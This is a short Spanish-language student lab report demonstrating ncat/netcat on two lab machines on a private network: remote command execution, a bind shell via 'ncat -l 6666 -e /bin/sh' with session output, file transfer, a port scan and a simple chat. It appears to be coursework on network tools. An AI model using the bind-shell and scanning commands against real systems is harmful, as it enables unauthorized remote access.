

Miguel Estevez

2017-0200

Ncat: "La navaja suiza"

a. Ejecutar una aplicacion/mandato en una maquina remota.

Maquina Atacada

```
ncat -l 6666 -e /bin/ls
```

Maquina Atacante

```
ncat 10.0.0.3 6666
```

```
[I] miguelarch@miguelArch ~> ncat 192.168.0.103 6666
amdgpu-pro-20.40-1147286-ubuntu-20.04
Desktop
dgraph
Documents
Downloads
go
hola.md
Music
MySQL-Brute
ncat
Pictures
Public
Repository
snap
teams_1.3.00.5153_amd64.deb
Templates
Videos
web-avanzada
```

b. Convertir maquina atacada en accesible por un puerto dado

```
ncat -l 6666 -e /bin/sh
```

```
[I] miguelarch@miguelArch ~ [SIGINT]> ncat 192.168.0.103 6666
ls
amdgpu-pro-20.40-1147286-ubuntu-20.04
Desktop
dgraph
Documents
Downloads
go
hola.md
Music
MySQL-Brute
ncat
Pictures
Public
Repository
snap
teams_1.3.00.5153_amd64.deb
Templates
Videos
web-avanzada
cat hola.md
echo Miguel Estevez
Miguel Estevez
echo Miguel Estevez > hola.txt
ls
amdgpu-pro-20.40-1147286-ubuntu-20.04
Desktop
dgraph
Documents
Downloads
go
hola.md
hola.txt
Music
MySQL-Brute
ncat
Pictures
Public
Repository
snap
```

```
Repository
snap
teams_1.3.00.5153_amd64.deb
Templates
Videos
web-avanzada
cat hola.txt
Miguel Estevez
```

c. Enviar archivo de una maquina a otra.

Receptor

```
nc -l 1499 > salida.out
```

```
miguel@miguel-MS-7693:~/ncat/file$ nc -l 1499 > salida.out
miguel@miguel-MS-7693:~/ncat/file$ cat salida.out
this is not working.
```

Enviador

```
nc 192.168.0.103 1499 < entrada
```

```
[I] miguelarch@miguelArch ~/ncat> cat hola
this is not working.
[I] miguelarch@miguelArch ~/ncat> ncat 192.168.0.103 1499 < hola
```

d. "Escanear" puertos de maquina atacada.

```
nc -z -v -n 192.168.0.103 1-9000
```

```
[I] miguelarch@miguelArch ~/ncat> nc -z -v -n 192.168.0.103 1-9000
192.168.0.103 22 (ssh) open
192.168.0.103 7070 (arcp) open
```

e. Crear cliente y servidor.

```
ncat -l 1499
```

```
ncat 192.168.0.103 1499
```

```
miguel@miguel-MS-7693:~$ ncat -l 1499
Hola, Miguel Estevez
2017-0200
Esto es un Chat Server
Yo soy el server
Y yo el cliente
```

f. Comunicarse con un servidor: bajar una pagina web

```
printf 'GET / HTTP/1.1\r\nHost: github.com\r\n\r\n' | ncat --ssl github.com 443
```

Nota:

La salida va estar adjunta con este documento por que es muy largo el html.